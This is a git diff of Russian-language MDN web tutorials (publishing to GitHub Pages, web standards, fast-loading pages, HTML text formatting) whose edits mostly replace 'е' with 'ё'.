              • Google App Engine - это мощная платформа, которая позволяет создавать и запускать приложения в инфраструктуре Google — нужно ли вам создать многоуровневое веб-приложение с нуля или разместить статический веб-сайт. Смотрите как разместить ваш веб-сайт на Google App Engine чтобы узнать больше информации.
                • 
 
              
 
@@ -107,7 +107,7 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
 
              У всех операционных систем есть командная строка:
              
 
 
                
- 
              • Windows: Командная строка. Чтобы открыть её нажмите клавишу Windows, затем введите Командная строка в поле поиска, и выберите её в появившемся списке. Заметьте, что Windows имеет свои собственные соглашения команд, отличные от Linux и OS X, поэтому приведенные ниже команды могут отличаться на вашем компьютере.
                • 
+ 
              • Windows: Командная строка. Чтобы открыть её нажмите клавишу Windows, затем введите Командная строка в поле поиска, и выберите её в появившемся списке. Заметьте, что Windows имеет свои собственные соглашения команд, отличные от Linux и OS X, поэтому приведённые ниже команды могут отличаться на вашем компьютере.
                • 
  
              • OS X: Terminal можно найти в Приложения > Утилиты.
                • 
  
              • Linux: Обычно вы можете вытащить терминал с помощью Ctrl + Alt + T. Если это не сработает, найдите Терминал в панели приложений или меню.
                • 
 
              
@@ -115,14 +115,14 @@ translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
 
              Сначала это может показаться немного страшным, но не волнуйтесь - вы скоро освоите основы. Вы говорите компьютеру сделать что-то в терминале, введя команду и нажав Enter.
              
 
 
                
- 
              1. Укажите в командной строке каталог test-site (или другое название каталога, содержащего ваш сайт). Для этого используйте команду cd (т.е. «change directory»). Вот то, что вы наберете, если разместили свой веб-сайт в каталоге под названием test-site на рабочем столе:
+ 
              2. Укажите в командной строке каталог test-site (или другое название каталога, содержащего ваш сайт). Для этого используйте команду cd (т.е. «change directory»). Вот то, что вы наберёте, если разместили свой веб-сайт в каталоге под названием test-site на рабочем столе:
 
   
                cd Desktop/test-site
                
  
                3. 
  
              3. Когда командная строка указывает внутрь вашего каталога веб-сайта, введите следующую команду, которая сообщает инструменту git, чтобы он превратил каталог в репозиторий git:
   
                git init
                
  
                4. 
- 
              4. Далее вернемся к сайту GitHub. На текущей странице вас интересует раздел "…or push an existing repository from the command line". Вы должны увидеть две строки кода в этом разделе. Скопируйте всю первую строку, вставьте ее в командную строку и нажмите Enter. Команда должна выглядеть примерно так:
+ 
              5. Далее вернёмся к сайту GitHub. На текущей странице вас интересует раздел "…or push an existing repository from the command line". Вы должны увидеть две строки кода в этом разделе. Скопируйте всю первую строку, вставьте её в командную строку и нажмите Enter. Команда должна выглядеть примерно так:
   
                git remote add origin https://github.com/bobsmith/bobsmith.github.io.git
                
  
                6. 
  
              6. Далее введите следующие две команды, нажимая Enter после каждой. Это подготовит код к загрузке на GitHub, и укажет Git управлять этими файлами.
@@ -132,7 +132,7 @@ git commit -m 'adding my files to my repository'
          4. Наконец, загрузите код на GitHub - вернитесь на веб-страницу GitHub, на которой вы находились, и введите в терминал команду: 
            git push -u origin master
            5. -
          5. Теперь, когда вы перейдете по веб-адресу, созданному в GitHub, в новом окне браузера (username.github.io), вы увидите ваш сайт онлайн! Разошлите ссылку вашим друзьям, пусть оценят ваше мастерство.
            6. +
          6. Теперь, когда вы перейдёте по веб-адресу, созданному в GitHub, в новом окне браузера (username.github.io), вы увидите ваш сайт онлайн! Разошлите ссылку вашим друзьям, пусть оценят ваше мастерство.
          @@ -141,7 +141,7 @@ git commit -m 'adding my files to my repository'

          Дальнейшее изучение GitHub

          -

          Если вы хотите сделать больше изменений на своем тестовом сайте и загрузить их в GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:

          +

          Если вы хотите сделать больше изменений на своём тестовом сайте и загрузить их в GitHub, вам просто нужно внести изменения в свои файлы, как и раньше. Затем вам нужно ввести следующие команды (нажав Enter после каждого), чтобы вставить эти изменения в GitHub:

          git add --all
 git commit -m 'another commit'
@@ -163,7 +163,7 @@ git push
        • Что такое веб-сервер?
        • Что такое доменные имена?
        • Сколько стоит сделать что-то в Интернете?
          • -
        • Развертывание сайта: хороший курс от Codecademy, который забегает немного вперёд и показывает некоторые дополнительные техники.
          • +
        • Развёртывание сайта: хороший курс от Codecademy, который забегает немного вперёд и показывает некоторые дополнительные техники.
        • Cheap or Free Static Website Hosting, статья написанная Скоттом Мюрреем содержит некоторые полезные идеи о доступных сервисах.
          • diff --git a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html index 7c74a04194..e7ab712e26 100644 --- a/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html +++ b/files/ru/learn/getting_started_with_the_web/the_web_and_web_standards/index.html @@ -31,7 +31,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда

          Веб-стандарты - это технологии, используемые для создания веб страниц. Стандарты существуют в виде технической документации (спецификаций), которая точно описывает как та, или иная технология должна работать. Документация никак не поможет изучить то, как пользоваться описываемыми в ней технологиями (вот почему существует сайт MDN Web Docs). Она используются разработчиками ПО для внедрения технологий (например, в веб браузеры).

          -

          В качестве примера приведем стандарт HTML Living Standard. Он описывает как HTML (все элементы HTML, связанные с ними API и остальные близкие технологии) должны быть реализованы.

          +

          В качестве примера приведём стандарт HTML Living Standard. Он описывает как HTML (все элементы HTML, связанные с ними API и остальные близкие технологии) должны быть реализованы.

          Веб-стандарты создаются организациями стандартов — институтами, которые приглашают группы людей из различных компаний для согласования того, как технологии должны применяться наиболее эффективным образом в рассматриваемых случаях. Самая известная организация веб-стандартов - W3C. Существуют и другие: WHATWG (ответственны за модернизацию языка html), ECMA (выпускают стандарты языка ECMAScript, на котором построен JavaScript), Khronos (создают технологии для 3D графики, например WebGL).

          @@ -45,7 +45,7 @@ original_slug: Learn/Getting_started_with_the_web/Веб_и_веб_станда

          Не разорви сеть

          -

          Популярная в области веб-стандартов фраза гласит: "не разорви сеть". Это означает, что каждая новая веб-технология должна быть совместима со всеми предыдущими технологиями (поэтому старые сайты до сих пор работают), и со всеми последующими (разрабатываемые в последствии технологии, в свою очередь, должны быть совместимы с имеющимися). В процессе изучения представленного здесь материала вы начнете понимать каким образом это реализуется.

          +

          Популярная в области веб-стандартов фраза гласит: "не разорви сеть". Это означает, что каждая новая веб-технология должна быть совместима со всеми предыдущими технологиями (поэтому старые сайты до сих пор работают), и со всеми последующими (разрабатываемые в последствии технологии, в свою очередь, должны быть совместимы с имеющимися). В процессе изучения представленного здесь материала вы начнёте понимать каким образом это реализуется.

          Being a web developer is good

          diff --git a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html index c6ef10460d..69be6b47d2 100644 --- a/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html +++ b/files/ru/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html @@ -26,7 +26,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l

          Перво-наперво: планирование

          -

          Перед тем как делать что-то, вам нужны идеи. Что ваш веб-сайт должен фактически делать? По существу, ваш веб-сайт может делать все, что угодно, но для вашей первой попытки, вы должны придерживаться простых вещей. Мы начнем с создания простой веб-страницы, содержащую заголовок, изображение и несколько абзацев.

          +

          Перед тем как делать что-то, вам нужны идеи. Что ваш веб-сайт должен фактически делать? По существу, ваш веб-сайт может делать все, что угодно, но для вашей первой попытки, вы должны придерживаться простых вещей. Мы начнём с создания простой веб-страницы, содержащую заголовок, изображение и несколько абзацев.

          Для начала, вам будет нужно ответить на следующие вопросы:

          @@ -71,7 +71,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l

          Чтобы выбрать изображение, перейдите в Google Картинки и найдите что-нибудь подходящее.

            -
          1. Когда вы найдете изображение, которое хотели, щёлкните по нему.
            2. +
          2. Когда вы найдёте изображение, которое хотели, щёлкните по нему.
          3. Нажмите кнопку В полном размере (View image).
          4. На следующей странице, правым щелчком мыши на изображении (Ctrl + клик на Mac), выберите Сохранить изображение как... (Save Image As...), и выберите место для сохранения вашего изображения. В качестве альтернативы, скопируйте адрес изображения из адресной строки браузера для последующего использования.
          @@ -91,7 +91,7 @@ translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_l

          Чтобы выбрать шрифт:

            -
          1. Перейдите на Google Fonts и прокрутите список вниз, пока не найдете шрифт, который вам понравится. Вы также можете использовать элементы управления справа для дальнейшей фильтрации результатов.
            2. +
          2. Перейдите на Google Fonts и прокрутите список вниз, пока не найдёте шрифт, который вам понравится. Вы также можете использовать элементы управления справа для дальнейшей фильтрации результатов.
          3. Щёлкните по кнопке "плюс" рядом со шрифтом, который вы хотите выбрать.
          4. Щёлкните по кнопке "* Family Selected" на панели в нижней части страницы. ("*" зависит от того, сколько шрифтов вы выбрали)
          5. В всплывающем окне вы можете увидеть и скопировать строки кода, которые предоставляет Google, чтобы сохранить их позже в вашем текстовом редакторе.
            6. diff --git a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html index 2c51073d15..5cbf27d355 100644 --- a/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html +++ b/files/ru/learn/html/howto/author_fast-loading_html_pages/index.html @@ -6,7 +6,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages ---

            Эти советы основаны на общих знаниях и экспериментах.

            -

            Оптимизированная веб-страница не только обеспечивает более отзывчивый сайт для ваших посетителей, но также снижает нагрузку на ваши веб-серверы и интернет-соединения. Это может иметь решающее значение для сайтов с большим объемом или сайтов, которые имеют всплеск трафика из-за необычных обстоятельств, таких как последние новости

            +

            Оптимизированная веб-страница не только обеспечивает более отзывчивый сайт для ваших посетителей, но также снижает нагрузку на ваши веб-серверы и интернет-соединения. Это может иметь решающее значение для сайтов с большим объёмом или сайтов, которые имеют всплеск трафика из-за необычных обстоятельств, таких как последние новости

            Оптимизация производительности загрузки страницы нужна не только для контента, который будет просматриваться узкополосным модемом или посетителями мобильных устройств. Это так же важно для широкополосного контента и может привести к значительным улучшениям даже для ваших посетителей с самыми быстрыми подключениями.

            @@ -16,7 +16,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Веб-страницы - безусловно, самый важный фактор в производительности загрузки страницы.

            -

            Уменьшение веса страницы за счет устранения ненужных пробелов и комментариев, широко известна как минимизация, и перемещая встроенный скрипт и CSS во внешние файлы, можно улучшить производительность загрузки с минимальными потребностями в других изменениях в структуре страницы.

            +

            Уменьшение веса страницы за счёт устранения ненужных пробелов и комментариев, широко известна как минимизация, и перемещая встроенный скрипт и CSS во внешние файлы, можно улучшить производительность загрузки с минимальными потребностями в других изменениях в структуре страницы.

            Такие инструменты, как HTML Tidy , могут автоматически убирать начальные пробелы и лишние пустые строки из допустимого источника HTML. Другие инструменты могут «сжимать» JavaScript, переформатируя источник или запутывая источник и заменяя длинные идентификаторы на более короткие версии

            @@ -24,15 +24,15 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Уменьшение количества файлов, на которые есть ссылки на веб-странице, уменьшает количество HTTP-соединений, необходимых для загрузки страницы, тем самым сокращая время отправки этих запросов и получения их ответов.

            -

            В зависимости от настроек кэша браузера он может отправить запрос с заголовком If-Modified-Since для каждого ссылочного файла, спрашивая, был ли файл изменен с момента последней загрузки. Слишком много времени, затрачиваемое на запрос времени последнего изменения указанных файлов, может задержать первоначальное отображение веб-страницы, так как браузер должен проверить время изменения каждого из этих файлов перед отображением страницы.

            +

            В зависимости от настроек кэша браузера он может отправить запрос с заголовком If-Modified-Since для каждого ссылочного файла, спрашивая, был ли файл изменён с момента последней загрузки. Слишком много времени, затрачиваемое на запрос времени последнего изменения указанных файлов, может задержать первоначальное отображение веб-страницы, так как браузер должен проверить время изменения каждого из этих файлов перед отображением страницы.

            -

            Если вы часто используете фоновые изображения в своем CSS, вы можете уменьшить количество запросов на поиск HTTP, объединив изображения в одно, называемое спрайтом изображения. Затем вы просто применяете одно и то же изображение каждый раз, когда вам это нужно для фона, и соответственно корректируете координаты x / y. Этот метод лучше всего работает с элементами, которые будут иметь ограниченные размеры, и не будет работать для каждого использования фонового изображения. Тем не менее, меньшее количество HTTP-запросов и кэширование одного изображения может помочь сократить время загрузки страницы.

            +

            Если вы часто используете фоновые изображения в своём CSS, вы можете уменьшить количество запросов на поиск HTTP, объединив изображения в одно, называемое спрайтом изображения. Затем вы просто применяете одно и то же изображение каждый раз, когда вам это нужно для фона, и соответственно корректируете координаты x / y. Этот метод лучше всего работает с элементами, которые будут иметь ограниченные размеры, и не будет работать для каждого использования фонового изображения. Тем не менее, меньшее количество HTTP-запросов и кэширование одного изображения может помочь сократить время загрузки страницы.

            Используйте сеть доставки (и дистрибуции) содержимого (Content Delivery Network (CDN))

            -

            Для целей этой статьи CDN - это средство уменьшения физического расстояния между вашим сервером и вашим посетителем. По мере увеличения расстояния между вашим сервером и посетителем время загрузки будет увеличиваться. Предположим, ваш сервер веб-сайта находится в Соединенных Штатах и имеет посетителя из Индии; время загрузки страницы будет намного выше для индийского посетителя по сравнению с посетителем из США.

            +

            Для целей этой статьи CDN - это средство уменьшения физического расстояния между вашим сервером и вашим посетителем. По мере увеличения расстояния между вашим сервером и посетителем время загрузки будет увеличиваться. Предположим, ваш сервер веб-сайта находится в Соединённых Штатах и имеет посетителя из Индии; время загрузки страницы будет намного выше для индийского посетителя по сравнению с посетителем из США.

            -

            CDN - это географически распределенная сеть серверов, которые работают вместе, чтобы сократить расстояние между пользователем и вашим сайтом. CDN хранят кэшированные версии вашего веб-сайта и предоставляют их посетителям через ближайший к пользователю сетевой узел, тем самым снижая задержку

            +

            CDN - это географически распределённая сеть серверов, которые работают вместе, чтобы сократить расстояние между пользователем и вашим сайтом. CDN хранят кэшированные версии вашего веб-сайта и предоставляют их посетителям через ближайший к пользователю сетевой узел, тем самым снижая задержку

            Дальнейшее чтение:

            @@ -50,7 +50,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Убедитесь, что любой контент, который может быть кэширован, кэширован и имеет подходящее время истечения.

            -

            В частности, обратите внимание на  заголовок Last-Modified. Это позволяет эффективно кэшировать страницы; с помощью этого заголовка агенту пользователя передается информация о файле, который он хочет загрузить, например, когда он был последний раз изменен. Большинство веб-серверов автоматически добавляют заголовок Last-Modified к статическим страницам (напр. .html, .css), на основе даты последнего изменения, хранящейся в файловой системе. С динамическими страницами (напр. .php, .aspx), это, конечно, не может быть сделано, и заголовок не отправляется.

            +

            В частности, обратите внимание на  заголовок Last-Modified. Это позволяет эффективно кэшировать страницы; с помощью этого заголовка агенту пользователя передаётся информация о файле, который он хочет загрузить, например, когда он был последний раз изменён. Большинство веб-серверов автоматически добавляют заголовок Last-Modified к статическим страницам (напр. .html, .css), на основе даты последнего изменения, хранящейся в файловой системе. С динамическими страницами (напр. .php, .aspx), это, конечно, не может быть сделано, и заголовок не отправляется.

            Так, в частности, для страниц, которые генерируются динамически, небольшое исследование по этой теме полезно. Это может быть несколько сложным, но это сэкономит много запросов страниц на страницах, которые обычно не могут быть кэшированы.

            @@ -64,9 +64,9 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Оптимально размещайте компоненты на странице

            -

            Сначала загрузите содержимое страницы вместе с любым CSS или JavaScript, которые могут потребоваться для его первоначального отображения, чтобы пользователь получил самый быстрый очевидный ответ во время загрузки страницы. Этот контент, как правило, представляет собой текст, и поэтому может получить выгоду от сжатия текста при передаче, что обеспечивает еще более быстрый отклик для пользователя.

            +

            Сначала загрузите содержимое страницы вместе с любым CSS или JavaScript, которые могут потребоваться для его первоначального отображения, чтобы пользователь получил самый быстрый очевидный ответ во время загрузки страницы. Этот контент, как правило, представляет собой текст, и поэтому может получить выгоду от сжатия текста при передаче, что обеспечивает ещё более быстрый отклик для пользователя.

            -

            Любые динамические функции, требующие полной загрузки страницы перед использованием, должны быть изначально отключены, а затем включены только после загрузки страницы. Это приведет к загрузке JavaScript после содержимого страницы, что улучшит общий вид загрузки страницы.

            +

            Любые динамические функции, требующие полной загрузки страницы перед использованием, должны быть изначально отключены, а затем включены только после загрузки страницы. Это приведёт к загрузке JavaScript после содержимого страницы, что улучшит общий вид загрузки страницы.

            Уменьшайте количество встроенных скриптов

            @@ -78,7 +78,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Использование корректной разметки имеет следующие преимущества. Во-первых, браузерам не нужно выполнять исправление ошибок при разборе HTML (это помимо философской проблемы: разрешить ли изменение формата при вводе пользователем, а затем программно «исправить» или нормализовать его; или вместо этого обеспечить строгий формат ввода без допусков).

            -

            Кроме того, корректная разметка позволяет спокойно использовать другие инструменты, которые могут предварительно обрабатывать ваши веб-страницы. Например, HTML Tidy может удалить пробелы и необязательные конечные теги; однако он откажется запускать страницу с серьезными ошибками разметки

            +

            Кроме того, корректная разметка позволяет спокойно использовать другие инструменты, которые могут предварительно обрабатывать ваши веб-страницы. Например, HTML Tidy может удалить пробелы и необязательные конечные теги; однако он откажется запускать страницу с серьёзными ошибками разметки

            Разделяйте ваш контент

            @@ -136,7 +136,7 @@ original_slug: Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages

            Сделайте сценарии JavaScript такими, чтобы они были совместимы как с async, так и с defer, и по возможности используйте async, особенно если у вас есть несколько тегов script.

            -

            При этом страница может перестать отображаться, пока JavaScript все еще загружается. В противном случае браузер не будет отображать ничего после тегов сценария, которые не имеют этих атрибутов.

            +

            При этом страница может перестать отображаться, пока JavaScript все ещё загружается. В противном случае браузер не будет отображать ничего после тегов сценария, которые не имеют этих атрибутов.

            Примечание. Несмотря на то, что эти атрибуты очень помогают при первой загрузке страницы, вы должны использовать их, но не предполагать, что они будут работать во всех браузерах. Если вы уже следуете всем рекомендациям JavaScript, вам не нужно менять код.

            diff --git a/files/ru/learn/html/howto/index.html b/files/ru/learn/html/howto/index.html index c4f9f46583..79ecb8bac7 100644 --- a/files/ru/learn/html/howto/index.html +++ b/files/ru/learn/html/howto/index.html @@ -77,13 +77,13 @@ original_slug: Learn/HTML/Рецепты

            Необычные или продвинутые проблемы

            -

            Помимо основ, HTML очень богат и предлагает расширенные возможности для решения сложных проблем. Эти статьи помогут вам разобраться с менее распространенными случаями использования, с которыми вы можете столкнуться:

            +

            Помимо основ, HTML очень богат и предлагает расширенные возможности для решения сложных проблем. Эти статьи помогут вам разобраться с менее распространёнными случаями использования, с которыми вы можете столкнуться:

            Формы

            -

            Форма это сложная HTML структура предназначенная для отправки данных с веб-страницы на веб-сервер. Мы призываем вас просмотреть наше полное посвященное руководство. Вот где вы должны начать:

            +

            Форма это сложная HTML структура предназначенная для отправки данных с веб-страницы на веб-сервер. Мы призываем вас просмотреть наше полное посвящённое руководство. Вот где вы должны начать:

            • Как создать простую Веб-форму
              • diff --git a/files/ru/learn/html/index.html b/files/ru/learn/html/index.html index 0727a2b8bd..724e99ac8a 100644 --- a/files/ru/learn/html/index.html +++ b/files/ru/learn/html/index.html @@ -19,7 +19,7 @@ translation_of: Learn/HTML

              Путь обучения (образовательная траектория)

              -

              В идеале вы должны начать свое учебное путешествие с изучения HTML. Начните с прочтения раздела "Введение в HTML". Затем вы можете перейти к изучению более продвинутых тем, таких как:

              +

              В идеале вы должны начать своё учебное путешествие с изучения HTML. Начните с прочтения раздела "Введение в HTML". Затем вы можете перейти к изучению более продвинутых тем, таких как:

              • "CSS (Каскадные таблицы стилей)", и как их использовать для оформления (стилизации) HTML-документа (например, изменение шрифта и его размера, добавление границы и теней для элементов, разбиение страницы на несколько столбцов, добавление анимации и других визуальных эффектов).
                • @@ -36,19 +36,19 @@ translation_of: Learn/HTML
                Введение в HTML
                -
                Этот модуль дает основу, которая позволит вам использовать важные понятия и синтаксис, вы рассмотрите применение HTML к тексту, узнаете как создать гиперссылки и как использовать HTML для структурирования веб-страницы.
                +
                Этот модуль даёт основу, которая позволит вам использовать важные понятия и синтаксис, вы рассмотрите применение HTML к тексту, узнаете как создать гиперссылки и как использовать HTML для структурирования веб-страницы.
                Мультимедиа и встраивание
                В этом модуле рассматривается использование HTML для подключения мультимедиа-контента к вашим веб-страницам, включая различные способы встраивания изображений, видео и аудио и даже других веб-страниц.
                 
                HTML Таблицы
                Представление табличных данных на веб-странице в понятном, {{glossary("Accessibility", "доступном")}} образе, может стать проблемой. Этот модуль описывает основы табличной разметки, а также более сложные функции, такие как реализация подписок и резюме.
                HTML Формы
                -
                Формы - очень важная часть интернета, они  обеспечивают  большую часть функциональных возможностей, необходимых для взаимодействия с веб-сайтом, например, регистрация и вход в систему, отправка отзывов, покупка продуктов и многое другое. В этом модуле вы начнете с создания частей форм на стороне клиента.
                +
                Формы - очень важная часть интернета, они  обеспечивают  большую часть функциональных возможностей, необходимых для взаимодействия с веб-сайтом, например, регистрация и вход в систему, отправка отзывов, покупка продуктов и многое другое. В этом модуле вы начнёте с создания частей форм на стороне клиента.

                Решение общих HTML задач

                -

                Использование HTML для решения общих задач содержит ссылки на разделы контента, объясняющего, как использовать HTML для решения очень распространенных проблем при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение содержимого, создание базовой формы и т.д.

                +

                Использование HTML для решения общих задач содержит ссылки на разделы контента, объясняющего, как использовать HTML для решения очень распространённых проблем при создании веб-страницы: работа с заголовками, добавление изображений или видео, выделение содержимого, создание базовой формы и т.д.

                Смотрите также:

                diff --git a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html index 3e05c04ea4..4f401ed57b 100644 --- a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html +++ b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html @@ -1,5 +1,5 @@ --- -title: Углубленное форматирование текста +title: Углублённое форматирование текста slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting tags: - Beginner @@ -215,9 +215,9 @@ textarea.onkeyup = function(){

                Блочные цитаты

                -

                Если часть содержимого уровня блока (будь то абзац, несколько абзацев, список и т. д.) цитируется из другого источника, вы должны обернуть ее внутри элемента {{htmlelement ("blockquote")}}, чтобы обозначить это, и указать URL-адрес, указывающий на источник цитаты, внутри атрибута {{htmlattrxref ("cite", "blockquote")}}.

                +

                Если часть содержимого уровня блока (будь то абзац, несколько абзацев, список и т. д.) цитируется из другого источника, вы должны обернуть её внутри элемента {{htmlelement ("blockquote")}}, чтобы обозначить это, и указать URL-адрес, указывающий на источник цитаты, внутри атрибута {{htmlattrxref ("cite", "blockquote")}}.

                -

                Например, следующая разметка берется из страницы элемента MDN <blockquote>:

                +

                Например, следующая разметка берётся из страницы элемента MDN <blockquote>:

                <p><strong>HTML-элемент<code>&lt;blockquote&gt;</code></strong> (от англ. <em>HTML Block
 Quotation Element</em>) указывает на то, что заключённый в нём текст является развёрнутой цитатой.</p>
                @@ -241,7 +241,7 @@ Quotation Element</em>) указывает на то, что заключ 
                <p>Элемент цитирования — <code>&lt;q&gt;</code> — <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">предназначен
 для коротких цитат, не требующих прерывания абзаца</q>.</p>
                -

                Стиль браузера по умолчанию будет отображать это как обычный текст, заключенный в кавычки для обозначения цитаты, например:

                +

                Стиль браузера по умолчанию будет отображать это как обычный текст, заключённый в кавычки для обозначения цитаты, например:

                Элемент цитирования — <q> — предназначен для коротких цитат, не требующих прерывания абзаца.

                @@ -424,7 +424,7 @@ textarea.onkeyup = function(){

                Я думаю, Почт. Грин сделал это на кухне с бензопилой.

                -

                Примечание: Существует еще один элемент {{htmlelement ("acronym")}}, который в основном делает то же самое, что и <abbr>, но предназначен специально для акронимов (тип аббревиатур). Это, однако, было излишним, — он не поддерживается в браузерах на том же уровне, что <abbr>, и имеет такую же функциональность, поэтому считается бессмысленным иметь оба. Просто используйте <abbr>.

                +

                Примечание: Существует ещё один элемент {{htmlelement ("acronym")}}, который в основном делает то же самое, что и <abbr>, но предназначен специально для акронимов (тип аббревиатур). Это, однако, было излишним, — он не поддерживается в браузерах на том же уровне, что <abbr>, и имеет такую же функциональность, поэтому считается бессмысленным иметь оба. Просто используйте <abbr>.

                Активное обучение: выделение аббревиатуры

                @@ -560,7 +560,7 @@ textarea.onkeyup = function(){ <p>Крис Миллс, Манчестер, Жестокий Север, РФ</p> </address> -

                Однако следует помнить, что элемент {{htmlelement ("address")}} предназначен для разметки контактных данных человека, который написал HTML-документ, а не любого адреса. Таким образом, написанное выше было бы корректным только в том случае, если бы Крис написал документ, на котором появляется разметка. Обратите внимание, что следующее также подойдет:

                +

                Однако следует помнить, что элемент {{htmlelement ("address")}} предназначен для разметки контактных данных человека, который написал HTML-документ, а не любого адреса. Таким образом, написанное выше было бы корректным только в том случае, если бы Крис написал документ, на котором появляется разметка. Обратите внимание, что следующее также подойдёт:

                <address>
   <p>Автор страницы — <a href="../authors/chris-mills/">Крис Миллс</a>.</p>
@@ -570,7 +570,7 @@ textarea.onkeyup = function(){
 
 
                Иногда вам понадобится использовать надстрочный или подстрочный индекс при разметке таких вещей, как даты, химические формулы и математические уравнения, чтобы они имели правильное представление. Элементы {{htmlelement ("sup")}} и {{htmlelement ("sub")}} созданы для таких ситуаций.
                
 
-
                Приведем пример:
                
+
                Приведём пример:
                
 
 
                <p>Я просыпаюсь в 6<sup>35</sup> часов утра.</p>
 <p>Химическая формула кофеина: C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
@@ -591,8 +591,8 @@ textarea.onkeyup = function(){
 
                  
  
                • {{htmlelement("code")}}: Для разметки общих частей компьютерного кода.
                  • 
  
                • {{htmlelement("pre")}}: Для сохранения пробелов (как правило, кодовых блоков) — если вы используете отступы или лишние пробелы внутри вашего текста, браузеры будут игнорировать его, и вы не увидите его на вашей отображаемой странице; если вы поместите текст в теги <pre></pre>, то ваши пробелы будут отображаться идентично тому, как вы видите текст в редакторе.
                  • 
- 
                • {{htmlelement("var")}}: Для конкретной маркировки имен переменных.
                  • 
- 
                • {{htmlelement("kbd")}}: Для маркировки вывода компьютерной программы. Для маркировки ввода клавиатуры (и других типов), введенного в компьютер.
                  • 
+ 
                • {{htmlelement("var")}}: Для конкретной маркировки имён переменных.
                  • 
+ 
                • {{htmlelement("kbd")}}: Для маркировки вывода компьютерной программы. Для маркировки ввода клавиатуры (и других типов), введённого в компьютер.
                  • 
  
                • {{htmlelement("samp")}}: Для маркировки вывода компьютерной программы.
                  • 
 
                
 
@@ -615,7 +615,7 @@ para.onclick = function() {
 <samp>PING mozilla.org (63.245.215.20): 56 data bytes
 64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
                
 
-
                Вышеприведенный код будет выглядеть так:
                
+
                Вышеприведённый код будет выглядеть так:
                
 
 
                {{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}
                
 
@@ -640,7 +640,7 @@ para.onclick = function() {
 
 
                Но эти разные формы не могут быть легко распознаны компьютерами — что, если вы хотите автоматически захватить даты всех событий на странице и вставить их в календарь? Элемент {{htmlelement ("time")}} позволяет прикрепить к этой цели однозначное машиночитаемое время / дату.
                
 
-
                В приведенном выше базовом примере приведена простая машиносчитываемая дата, но есть много других возможных вариантов, например:
                
+
                В приведённом выше базовом примере приведена простая машиносчитываемая дата, но есть много других возможных вариантов, например:
                
 
 
                <!-- Стандартная дата -->
 <time datetime="2020-01-20">20 Января 2020</time>
@@ -657,11 +657,11 @@ para.onclick = function() {
 <!-- Дата и время со смещением по часовому поясу -->
 <time datetime="2020-01-20T19:30+01:00">7.30pm, 20 Января 2020, — это 8.30pm во Франции.</time>
 <!-- Вызов номера недели -->
-<time datetime="2020-W04">Четвертая неделя 2020</time>
                
+<time datetime="2020-W04">Четвёртая неделя 2020</time>

                Заключение

                -

                На этом мы подошли к концу нашего изучения семантики текста HTML. Имейте в виду, что то, что вы видели во время этого курса, не является исчерпывающим списком текстовых элементов HTML. Мы попытались охватить основные из них, с которыми вы, скорее всего, столкнетесь в практической деятельности или, по крайней мере, сочтёте их интересными. Чтобы найти больше элементов HTML, вы можете взглянуть на нашу ссылку на Элемент. В следующей статье мы рассмотрим элементы HTML, которые вы будете использовать для структурирования различных частей HTML-документа.

                +

                На этом мы подошли к концу нашего изучения семантики текста HTML. Имейте в виду, что то, что вы видели во время этого курса, не является исчерпывающим списком текстовых элементов HTML. Мы попытались охватить основные из них, с которыми вы, скорее всего, столкнётесь в практической деятельности или, по крайней мере, сочтёте их интересными. Чтобы найти больше элементов HTML, вы можете взглянуть на нашу ссылку на Элемент. В следующей статье мы рассмотрим элементы HTML, которые вы будете использовать для структурирования различных частей HTML-документа.

                {{PreviousMenuNext ("Learn/HTML/Introduction_to_HTML/Create_hyperlinks", "Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML")}}

                @@ -672,7 +672,7 @@ para.onclick = function() {
              • Что такое заголовок? Метаданные в HTML
              • Основы редактирования текста в HTML
              • Создание гиперссылок
                • -
              • Углубленное форматирование текста
                • +
              • Углублённое форматирование текста
              • Структура документа и веб-сайта
              • Отладка HTML
              • Разметка письма
